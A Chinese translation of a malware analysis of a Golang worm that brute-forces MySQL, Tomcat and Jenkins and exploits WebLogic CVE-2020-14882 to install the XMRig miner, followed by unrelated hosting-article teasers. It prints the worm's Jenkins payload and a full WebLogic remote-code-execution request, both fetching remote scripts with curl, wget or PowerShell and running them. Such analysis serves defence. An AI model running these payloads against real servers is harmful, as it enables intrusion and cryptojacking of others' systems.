Golang蠕虫将Windows和Linux服务器变成门罗币挖矿机

[[374355]]

使用Golang语言开发多平台恶意软件是2020年恶意软件的发展趋势。2020年12月初,研究人员发现了一个新的用Golang语言编写的蠕虫。该蠕虫尝试在网络中传播来大规模地运行XMRig挖矿机。恶意软件的目标是Windows和Linux服务器。在老版本中,该蠕虫尝试利用WebLogic的漏洞——CVE-2020-14882。

研究人员分析发现,攻击者持续更新C2服务器上的蠕虫,表明恶意软件开发者非常活跃,而且在未来的更新中可能会攻击其他弱配置的服务。

技术分析

攻击者使用了3个文件:

· 释放器脚本(bash或powershell);

· Golang二进制蠕虫;

· XMRig 挖矿机。

这3个文件都位于同一C2服务器上。

截止目前,ELF 蠕虫二进制文件和bash 释放器脚本在VirusTotal 中都没有检测到。图1是VirusTotal 对ELF 蠕虫二进制文件的检测结果。

图 1: VirusTotal 对ELF 蠕虫二进制文件的检测结果

恶意软件在Windows和Linux操作系统上的行为非常相似。下面对Linux蠕虫的工作流进行分析。

Linux蠕虫工作流

蠕虫执行后会检查受感染的机器上是否有进程在监听52013端口。端口监听器的存在是一个mutex互斥量。如果端口的socket已经开放,恶意软件实例就会退出,否则就会打开一个端口的网络socket。

在老版本中,蠕虫会解压XMRig 挖矿机为Network01到tmp文件夹中,并运行。挖矿机会使用Go资源嵌入包(go-bindata)嵌入到Golang二进制文件中,恶意软件会使用bindataFile来解压嵌入的XMRig 挖矿机。图2是文件中的函数:

图 2: xmrig_linux_amd64.go文件

恶意软件会使用TCP SYN扫描网络来找到可以暴力破解的服务,并在网络中传播。然后扫描有与这些服务相关的开放端口的IP,Tomcat 和 Jenkins的端口是8080,MySQL的端口是3306,WebLogic的端口是7001。这些漏洞利用中在src exp代码下有一个包。

图 3: “exp”包文件和函数

蠕虫使用gopacket库来提供Go语言的C绑定,用libpcap来读取网络包。通过运行pcapc,蠕虫会收集网络数据并继续对服务进行暴力破解。图4是蠕虫暴力破解和尝试在Tomcat和MySQL服务上进行漏洞利用的结果。

图 4: 蠕虫结果片段

漏洞利用后,恶意软件会传播一个加载器脚本:Linux系统是ld.sh,Windows平台是ld.ps1。加载器负责释放和运行XMRig挖矿机和Golang 蠕虫。图5和图6是加载器脚本。

图 5: ldr.sh –Linux平台的释放器bash脚本

图 6: ldr.ps1 script – Windows平台的释放器 powershell脚本

漏洞利用流

下面描述每个服务的攻击流:

MySql: Port 3306

恶意软件会运行凭证暴力破解攻击。恶意软件会使用硬编码的弱凭证目录,比如root:123456。

成功登陆后,恶意软件会使用mysql UDF运行shellcode来获取本地权限提升。漏洞利用以十六进制字符串的形式嵌入在二进制文件中。蠕虫对不同的操作系统和架构有不同的漏洞利用,设计的系统和架构有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。

运行漏洞利用后,payload会用sys_exec 命令来释放和运行加载器脚本。URLWIN 和URLLINUX 保存释放器脚本URL。图7和图8是每个操作系统对应的payload。

图 7: MySQL查询– Linux payload

图 8: MySQL 查询– Windows payload

Tomcat: Port 8080

恶意软件会使用基本认证在管理员面板上运行凭证填充。

图 9: 到Tomcat管理员面板的认证请求示例

成功尝试后,恶意软件会尝试部署一个WAR文件,用来传输含有恶意payload的1.jsp 文件。

恶意软件会发送Get请求,并分析jsp文件 %s/1.jsp?win=%s&linux=%s 的参数。这些参数中含有释放器脚本URL。然后,JSP脚本会释放和运行其加载器。

图 10: 1.jsp文件脚本

Jenkins: Port 8080

与之前漏洞利用类似,恶意软件会用口令填充来暴力破解Jenkins 登陆,并运行以下payload:

  1. cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash 
  2. println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute() 
  3. WebLogic: Port 7001 

 在之前版本中,恶意软件会用最新的WebLogic 远程代码执行漏洞利用CVE-2020-14882。恶意软件会发送到WebLogic服务的get请求,并使用GET请求header 作为payload的一部分。

  1. GET 
  2. /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread 
  3. %%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work. 
  4. WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20 
  5. field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible 
  6. (true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI 
  7. mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod 
  8. (“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%% 
  9. 20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader 
  10. (“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang 
  11. .ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next(); 
  12. weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal. 
  13. ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work. 
  14. getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream 
  15. (result));work.getServletOutputStream().flush 
  16. ();}currentThread.interrupt();’) HTTP/1.0 
  17. Host: %s:%d 
  18. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0 
  19. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
  20. Connection: close 
  21. cmd: ls 
  22. linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& ) 
  23. win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’) 

 总结

在2020年,研究人员发现许多攻击不同平台的Golang恶意软件,包括Windows、Linux、Mac和安卓。研究人员认为这一趋势在2021年将会继续。此外,蠕虫的PE和ELF版本代码几乎完全相同。

本文翻译自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/如若转载,请注明原文地址。

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/131023.html<

赞 (0)
管理的头像管理
上一篇2025-02-26 08:38
下一篇 2025-02-26 08:40

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注